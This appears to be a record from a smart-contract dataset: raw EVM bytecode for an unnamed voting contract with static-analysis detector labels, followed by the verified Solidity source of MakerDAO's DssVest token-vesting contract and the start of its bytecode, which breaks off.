042600b6000848152602001908152602001600020600601541061260b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f3c7374617274000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b42600b60008481526020019081526020016000206007015411612696576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f3e656e640000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600b600084815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561274c57506000600b600084815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b6127be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c726561647920566f7465640000000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33306005546040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561289d57600080fd5b505af11580156128b1573d6000803e3d6000fd5b505050506040513d60208110156128c757600080fd5b8101908080519060200190929190505050506001600b600084815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601154600b6000848152602001908152602001600020600a01819055506001600b60008481526020019081526020016000206004015401600b60008481526020019081526020016000206004018190555061298b6140bb565b6040518060400160405280600754420181526020016005548152509050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050503373ffffffffffffffffffffffffffffffffffffffff16837f88d35328232823f54954b6627e9f732371656f6daa40cb1b01b27dc7875a7b4760018060405180831515151581526020018281526020019250505060405180910390a36001915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f696e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b600080905060008090505b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015612cc157600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110612bd357fe5b90600052602060002090600202016000015442118015612c4e57506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612c3a57fe5b906000526020600020906002020160010154115b15612cb457600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110612c9d57fe5b906000526020600020906002020160010154820191505b8080600101915050612b3f565b5080915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612e54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60011515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f21766f746572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601154101561300c576000601181905550613053565b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546011819055505b7e330fa0724b41c0d187cfad0aa7ff5fa2ff7e742995886f55fda6f5909914b833601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601154604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b600080600090506000809050600080905060008090505b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156137ae57600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106131f857fe5b9060005260206000209060020201600001544211801561327357506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061325f57fe5b906000526020600020906002020160010154115b156137a057600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106132c257fe5b906000526020600020906002020160010154840193506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111561372a57600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905003815481106133b257fe5b9060005260206000209060020201600101549250600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038154811061345557fe5b9060005260206000209060020201600001549150600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106134b357fe5b906000526020600020906002020160010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038154811061355457fe5b906000526020600020906002020160010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106135b357fe5b906000526020600020906002020160000154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038154811061365457fe5b90600052602060002090600202016000018190555082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106136b457fe5b90600052602060002090600202016001018190555081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061371457fe5b9060005260206000209060020201600001819055505b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548061377257fe5b60019003818190600052602060002090600202016000808201600090556001820160009055505090556137a9565b80806001019150505b613164565b5060008311613825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f696e76616c69642062616c616e6365000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156138ce57600080fd5b505af11580156138e2573d6000803e3d6000fd5b505050506040513d60208110156138f857600080fd5b810190808051906020019092919050505061397b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f7472616e736665722073656e64696e67206661696c000000000000000000000081525060200191505060405180910390fd5b6001935050505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146139e057600080fd5b60008211613a56576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f696e76616c696420416d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b8160058190555060019050919050565b601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613b29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600f8190555050565b60096020528160005260406000208181548110613b4c57fe5b9060005260206000209060020201600091509150508060000154908060010154905082565b601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613c34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d8190555050565b60126020528060005260406000206000915090505481565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613cb757600080fd5b8160078190555060019050919050565b600d5481565b6000806000613cdb846122a0565b92509250925080600b6000868152602001908152602001600020600c015410613d6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f2171756f72756d0000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b42600b60008681526020019081526020016000206007015410613df7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f21656e640000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600b6000868152602001908152602001600020600d0160009054906101000a900460ff1615151415613e3157613e30846117ce565b5b600b600085815260200190815260200160002060080160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0137f7a858585856040518563ffffffff1660e01b815260040180858152602001848152602001838152602001828152602001945050505050600060405180830381600087803b158015613ed257600080fd5b505af1158015613ee6573d6000803e3d6000fd5b5050505050505050565b60011515601060009054906101000a900460ff16151514613f79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f21636f6e6669670000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000601060006101000a81548160ff02191690831515021790555080600c8190555073feb4acf3df3cdea7399794d0869ef76a6efaff52601060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b50805460018160011615610100020316600290046000825580601f106140195750614038565b601f01602090049060005260206000209081019061403791906140d5565b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061407c57805160ff19168380011785556140aa565b828001600101855582156140aa579182015b828111156140a957825182559160200191906001019061408e565b5b5090506140b791906140d5565b5090565b604051806040016040528060008152602001600081525090565b6140f791905b808211156140f35760008160009055506001016140db565b5090565b9056fea265627a7a72305820023bceb09e1eb98effb57a095aafc80026fdb58936deb7c6c9f7ab5c82af84b464736f6c63430005090032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,783 |
0x2Cc583c0AaCDaC9e23CB601fDA8F1A0c56Cdcb71
|
/**
*Submitted for verification at Etherscan.io on 2021-09-02
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// DssVest - Token vesting contract
//
// Copyright (C) 2021 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
interface MintLike {
function mint(address, uint256) external;
}
interface ChainlogLike {
function getAddress(bytes32) external view returns (address);
}
interface DaiJoinLike {
function exit(address, uint256) external;
}
interface VatLike {
function hope(address) external;
function suck(address, address, uint256) external;
}
interface TokenLike {
function transferFrom(address, address, uint256) external returns (bool);
}
abstract contract DssVest {
uint256 public constant TWENTY_YEARS = 20 * 365 days;
uint256 internal locked;
event Rely(address indexed usr);
event Deny(address indexed usr);
event Init(uint256 indexed id, address indexed usr);
event Vest(uint256 indexed id, uint256 amt);
event Move(uint256 indexed id, address indexed dst);
event File(bytes32 indexed what, uint256 data);
event Yank(uint256 indexed id, uint256 end);
event Restrict(uint256 indexed id);
event Unrestrict(uint256 indexed id);
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "DssVest/not-authorized");
_;
}
// --- Mutex ---
modifier lock {
require(locked == 0, "DssVest/system-locked");
locked = 1;
_;
locked = 0;
}
struct Award {
address usr; // Vesting recipient
uint48 bgn; // Start of vesting period [timestamp]
uint48 clf; // The cliff date [timestamp]
uint48 fin; // End of vesting period [timestamp]
address mgr; // A manager address that can yank
uint8 res; // Restricted
uint128 tot; // Total reward amount
uint128 rxd; // Amount of vest claimed
}
mapping (uint256 => Award) public awards;
uint256 public ids;
uint256 public cap; // Maximum per-second issuance token rate
// Getters to access only to the value desired
function usr(uint256 _id) external view returns (address) {
return awards[_id].usr;
}
function bgn(uint256 _id) external view returns (uint256) {
return awards[_id].bgn;
}
function clf(uint256 _id) external view returns (uint256) {
return awards[_id].clf;
}
function fin(uint256 _id) external view returns (uint256) {
return awards[_id].fin;
}
function mgr(uint256 _id) external view returns (address) {
return awards[_id].mgr;
}
function res(uint256 _id) external view returns (uint256) {
return awards[_id].res;
}
function tot(uint256 _id) external view returns (uint256) {
return awards[_id].tot;
}
function rxd(uint256 _id) external view returns (uint256) {
return awards[_id].rxd;
}
/*
@dev Base vesting logic contract constructor
*/
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
/*
@dev (Required) Set the per-second token issuance rate.
@param what The tag of the value to change (ex. bytes32("cap"))
@param data The value to update (ex. cap of 1000 tokens/yr == 1000*WAD/365 days)
*/
function file(bytes32 what, uint256 data) external auth lock {
if (what == "cap") cap = data; // The maximum amount of tokens that can be streamed per-second per vest
else revert("DssVest/file-unrecognized-param");
emit File(what, data);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x > y ? y : x;
}
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "DssVest/add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "DssVest/sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "DssVest/mul-overflow");
}
function toUint48(uint256 x) internal pure returns (uint48 z) {
require((z = uint48(x)) == x, "DssVest/uint48-overflow");
}
function toUint128(uint256 x) internal pure returns (uint128 z) {
require((z = uint128(x)) == x, "DssVest/uint128-overflow");
}
/*
@dev Govanance adds a vesting contract
@param _usr The recipient of the reward
@param _tot The total amount of the vest
@param _bgn The starting timestamp of the vest
@param _tau The duration of the vest (in seconds)
@param _eta The cliff duration in seconds (i.e. 1 years)
@param _mgr An optional manager for the contract. Can yank if vesting ends prematurely.
@return id The id of the vesting contract
*/
function create(address _usr, uint256 _tot, uint256 _bgn, uint256 _tau, uint256 _eta, address _mgr) external auth lock returns (uint256 id) {
require(_usr != address(0), "DssVest/invalid-user");
require(_tot > 0, "DssVest/no-vest-total-amount");
require(_bgn < add(block.timestamp, TWENTY_YEARS), "DssVest/bgn-too-far");
require(_bgn > sub(block.timestamp, TWENTY_YEARS), "DssVest/bgn-too-long-ago");
require(_tau > 0, "DssVest/tau-zero");
require(_tot / _tau <= cap, "DssVest/rate-too-high");
require(_tau <= TWENTY_YEARS, "DssVest/tau-too-long");
require(_eta <= _tau, "DssVest/eta-too-long");
require(ids < type(uint256).max, "DssVest/ids-overflow");
id = ++ids;
awards[id] = Award({
usr: _usr,
bgn: toUint48(_bgn),
clf: toUint48(add(_bgn, _eta)),
fin: toUint48(add(_bgn, _tau)),
tot: toUint128(_tot),
rxd: 0,
mgr: _mgr,
res: 0
});
emit Init(id, _usr);
}
/*
@dev Anyone (or only owner of a vesting contract if restricted) calls this to claim all available rewards
@param _id The id of the vesting contract
*/
function vest(uint256 _id) external {
_vest(_id, type(uint256).max);
}
/*
@dev Anyone (or only owner of a vesting contract if restricted) calls this to claim rewards
@param _id The id of the vesting contract
@param _maxAmt The maximum amount to vest
*/
function vest(uint256 _id, uint256 _maxAmt) external {
_vest(_id, _maxAmt);
}
/*
@dev Anyone (or only owner of a vesting contract if restricted) calls this to claim rewards
@param _id The id of the vesting contract
@param _maxAmt The maximum amount to vest
*/
function _vest(uint256 _id, uint256 _maxAmt) internal lock {
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
require(_award.res == 0 || _award.usr == msg.sender, "DssVest/only-user-can-claim");
uint256 amt = unpaid(block.timestamp, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd);
amt = min(amt, _maxAmt);
awards[_id].rxd = toUint128(add(_award.rxd, amt));
pay(_award.usr, amt);
emit Vest(_id, amt);
}
/*
@dev amount of tokens accrued, not accounting for tokens paid
@param _id The id of the vesting contract
*/
function accrued(uint256 _id) external view returns (uint256 amt) {
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
amt = accrued(block.timestamp, _award.bgn, _award.fin, _award.tot);
}
/*
@dev amount of tokens accrued, not accounting for tokens paid
@param _time the timestamp to perform the calculation
@param _bgn the start time of the contract
@param _end the end time of the contract
@param _amt the total amount of the contract
*/
function accrued(uint256 _time, uint48 _bgn, uint48 _fin, uint128 _tot) internal pure returns (uint256 amt) {
if (_time < _bgn) {
amt = 0;
} else if (_time >= _fin) {
amt = _tot;
} else {
amt = mul(_tot, sub(_time, _bgn)) / sub(_fin, _bgn); // 0 <= amt < _award.tot
}
}
/*
@dev return the amount of vested, claimable GEM for a given ID
@param _id The id of the vesting contract
*/
function unpaid(uint256 _id) external view returns (uint256 amt) {
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
amt = unpaid(block.timestamp, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd);
}
/*
@dev amount of tokens accrued, not accounting for tokens paid
@param _time the timestamp to perform the calculation
@param _bgn the start time of the contract
@param _clf the timestamp of the cliff
@param _end the end time of the contract
@param _tot the total amount of the contract
@param _rxd the number of gems received
*/
function unpaid(uint256 _time, uint48 _bgn, uint48 _clf, uint48 _fin, uint128 _tot, uint128 _rxd) internal pure returns (uint256 amt) {
amt = _time < _clf ? 0 : sub(accrued(_time, _bgn, _fin, _tot), _rxd);
}
/*
@dev Allows governance or the owner to restrict vesting to the owner only
@param _id The id of the vesting contract
*/
function restrict(uint256 _id) external lock {
address usr_ = awards[_id].usr;
require(usr_ != address(0), "DssVest/invalid-award");
require(wards[msg.sender] == 1 || usr_ == msg.sender, "DssVest/not-authorized");
awards[_id].res = 1;
emit Restrict(_id);
}
/*
@dev Allows governance or the owner to enable permissionless vesting
@param _id The id of the vesting contract
*/
function unrestrict(uint256 _id) external lock {
address usr_ = awards[_id].usr;
require(usr_ != address(0), "DssVest/invalid-award");
require(wards[msg.sender] == 1 || usr_ == msg.sender, "DssVest/not-authorized");
awards[_id].res = 0;
emit Unrestrict(_id);
}
/*
@dev Allows governance or the manager to remove a vesting contract immediately
@param _id The id of the vesting contract
*/
function yank(uint256 _id) external {
_yank(_id, block.timestamp);
}
/*
@dev Allows governance or the manager to remove a vesting contract at a future time
@param _id The id of the vesting contract
@param _end A scheduled time to end the vest
*/
function yank(uint256 _id, uint256 _end) external {
_yank(_id, _end);
}
/*
@dev Allows governance or the manager to end pre-maturely a vesting contract
@param _id The id of the vesting contract
@param _end A scheduled time to end the vest
*/
function _yank(uint256 _id, uint256 _end) internal lock {
require(wards[msg.sender] == 1 || awards[_id].mgr == msg.sender, "DssVest/not-authorized");
Award memory _award = awards[_id];
require(_award.usr != address(0), "DssVest/invalid-award");
if (_end < block.timestamp) {
_end = block.timestamp;
}
if (_end < _award.fin) {
uint48 end = toUint48(_end);
awards[_id].fin = end;
if (end < _award.bgn) {
awards[_id].bgn = end;
awards[_id].clf = end;
awards[_id].tot = 0;
} else if (end < _award.clf) {
awards[_id].clf = end;
awards[_id].tot = 0;
} else {
awards[_id].tot = toUint128(
add(
unpaid(_end, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd),
_award.rxd
)
);
}
}
emit Yank(_id, _end);
}
/*
@dev Allows owner to move a contract to a different address
@param _id The id of the vesting contract
@param _dst The address to send ownership of the contract to
*/
function move(uint256 _id, address _dst) external lock {
require(awards[_id].usr == msg.sender, "DssVest/only-user-can-move");
require(_dst != address(0), "DssVest/zero-address-invalid");
awards[_id].usr = _dst;
emit Move(_id, _dst);
}
/*
@dev Return true if a contract is valid
@param _id The id of the vesting contract
*/
function valid(uint256 _id) external view returns (bool isValid) {
isValid = awards[_id].rxd < awards[_id].tot;
}
/*
@dev Override this to implement payment logic.
@param _guy The payment target.
@param _amt The payment amount. [units are implementation-specific]
*/
function pay(address _guy, uint256 _amt) virtual internal;
}
contract DssVestSuckable is DssVest {
uint256 internal constant RAY = 10**27;
ChainlogLike public immutable chainlog;
VatLike public immutable vat;
DaiJoinLike public immutable daiJoin;
/*
@dev This contract must be authorized to 'suck' on the vat
@param _chainlog The contract address of the MCD chainlog
*/
constructor(address _chainlog) public DssVest() {
require(_chainlog != address(0), "DssVest/Invalid-chainlog-address");
ChainlogLike chainlog_ = chainlog = ChainlogLike(_chainlog);
VatLike vat_ = vat = VatLike(chainlog_.getAddress("MCD_VAT"));
DaiJoinLike daiJoin_ = daiJoin = DaiJoinLike(chainlog_.getAddress("MCD_JOIN_DAI"));
vat_.hope(address(daiJoin_));
}
/*
@dev Override pay to handle suck logic
@param _guy The recipient of the ERC-20 Dai
@param _amt The amount of Dai to send to the _guy [WAD]
*/
function pay(address _guy, uint256 _amt) override internal {
vat.suck(chainlog.getAddress("MCD_VOW"), address(this), mul(_amt, RAY));
daiJoin.exit(_guy, _amt);
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063bf353dbb11610104578063d8a8e03a116100a2578063e529780d11610071578063e529780d14610511578063e7657e151461052e578063f52981f414610536578063fc5a5b6314610553576101da565b8063d8a8e03a14610465578063db64ff8f14610491578063dc2c788f146104d7578063e054720f146104f4576101da565b8063c659cd45116100de578063c659cd4514610406578063cdf4349714610423578063ce6f74aa14610440578063d4e8fd2e14610448576101da565b8063bf353dbb146103a7578063bf8712c5146103cd578063c11645bc146103fe576101da565b806353e8863d1161017c5780637d8d27021161014b5780637d8d270214610324578063892de51d146103415780639c52a7f11461035e578063bb7c46f314610384576101da565b806353e8863d146102bc57806360fb494b146102d957806365fae35e146102e15780636a760b8014610307576101da565b8063355274ea116101b8578063355274ea1461025057806336569e77146102585780633c433d5f1461027c578063509aaa1d14610299576101da565b806321f6c0cf146101df57806326e027f11461020e57806329ae81141461022d575b600080fd5b6101fc600480360360208110156101f557600080fd5b50356105d8565b60408051918252519081900360200190f35b61022b6004803603602081101561022457600080fd5b50356105fc565b005b61022b6004803603604081101561024357600080fd5b5080359060200135610609565b6101fc610747565b61026061074d565b604080516001600160a01b039092168252519081900360200190f35b61022b6004803603602081101561029257600080fd5b5035610771565b61022b600480360360408110156102af57600080fd5b50803590602001356108d2565b6101fc600480360360208110156102d257600080fd5b50356108e0565b6101fc6109fa565b61022b600480360360208110156102f757600080fd5b50356001600160a01b0316610a02565b61022b6004803603602081101561031d57600080fd5b5035610a9c565b61022b6004803603602081101561033a57600080fd5b5035610aa8565b6101fc6004803603602081101561035757600080fd5b5035610c03565b61022b6004803603602081101561037457600080fd5b50356001600160a01b0316610c22565b61022b6004803603604081101561039a57600080fd5b5080359060200135610cb9565b6101fc600480360360208110156103bd57600080fd5b50356001600160a01b0316610cc3565b6103ea600480360360208110156103e357600080fd5b5035610cd5565b604080519115158252519081900360200190f35b610260610d00565b6102606004803603602081101561041c57600080fd5b5035610d24565b6101fc6004803603602081101561043957600080fd5b5035610d3f565b610260610d60565b6101fc6004803603602081101561045e57600080fd5b5035610d84565b61022b6004803603604081101561047b57600080fd5b50803590602001356001600160a01b0316610da3565b6101fc600480360360c08110156104a757600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160808201359160a0013516610f0e565b610260600480360360208110156104ed57600080fd5b5035611473565b6101fc6004803603602081101561050a57600080fd5b5035611498565b6101fc6004803603602081101561052757600080fd5b50356114be565b6101fc6114db565b6101fc6004803603602081101561054c57600080fd5b50356114e1565b6105706004803603602081101561056957600080fd5b50356115ea565b604080516001600160a01b03998a16815265ffffffffffff98891660208201529688168782015294909616606086015291909516608084015260ff90941660a08301526001600160801b0393841660c08301529190921660e083015251908190036101000190f35b600081815260026020526040902054600160a01b900465ffffffffffff165b919050565b610606814261165a565b50565b336000908152600160208190526040909120541461065c576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b6000541561069f576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b60016000556206361760ec1b8214156106bc576004819055610709565b6040805162461bcd60e51b815260206004820152601f60248201527f447373566573742f66696c652d756e7265636f676e697a65642d706172616d00604482015290519081900360640190fd5b60408051828152905183917fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7919081900360200190a2505060008055565b60045481565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b600054156107b4576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b60016000908155818152600260205260409020546001600160a01b03168061081b576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b33600090815260016020819052604090912054148061084257506001600160a01b03811633145b610881576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b600082815260026020526040808220600101805460ff60d01b1916600160d01b1790555183917f9247a2bf1b75bc397d4043d99b9cebce531548a01dbb56a5d4c5f5ca26051e8d91a2505060008055565b6108dc828261165a565b5050565b60006108ea6120d2565b5060008281526002602081815260409283902083516101008101855281546001600160a01b03808216808452600160a01b830465ffffffffffff90811696850196909652600160d01b9283900486169784019790975260018401549485166060840152600160301b850416608083015290920460ff1660a0830152909101546001600160801b0380821660c0840152600160801b9091041660e0820152906109d1576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b6109f3428260200151836040015184606001518560c001518660e001516119e3565b9392505050565b632598060081565b3360009081526001602081905260409091205414610a55576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260016020819052604080832091909155517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b61060681600019611a25565b60005415610aeb576040805162461bcd60e51b81526020600482015260156024820152600080516020612117833981519152604482015290519081900360640190fd5b60016000908155818152600260205260409020546001600160a01b031680610b52576040805162461bcd60e51b8152602060048201526015602482015274111cdcd5995cdd0bda5b9d985b1a590b585dd85c99605a1b604482015290519081900360640190fd5b336000908152600160208190526040909120541480610b7957506001600160a01b03811633145b610bb8576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b600082815260026020526040808220600101805460ff60d01b191690555183917f3d1b575f06b2d660af77eec35d9b3ffcfa956b6c1fdbc840992d4b03b03e622b91a2505060008055565b600090815260026020819052604090912001546001600160801b031690565b3360009081526001602081905260409091205414610c75576040805162461bcd60e51b81526020600482015260166024820152600080516020612137833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b6108dc8282611a25565b60016020526000908152604090205481565b600090815260026020819052604090912001546001600160801b03808216600160801b909204161090565b7f0000000000000000000000009759a6ac90977b93b58547b4a71c78317f391a2881565b6000908152600260205260409020546001600160a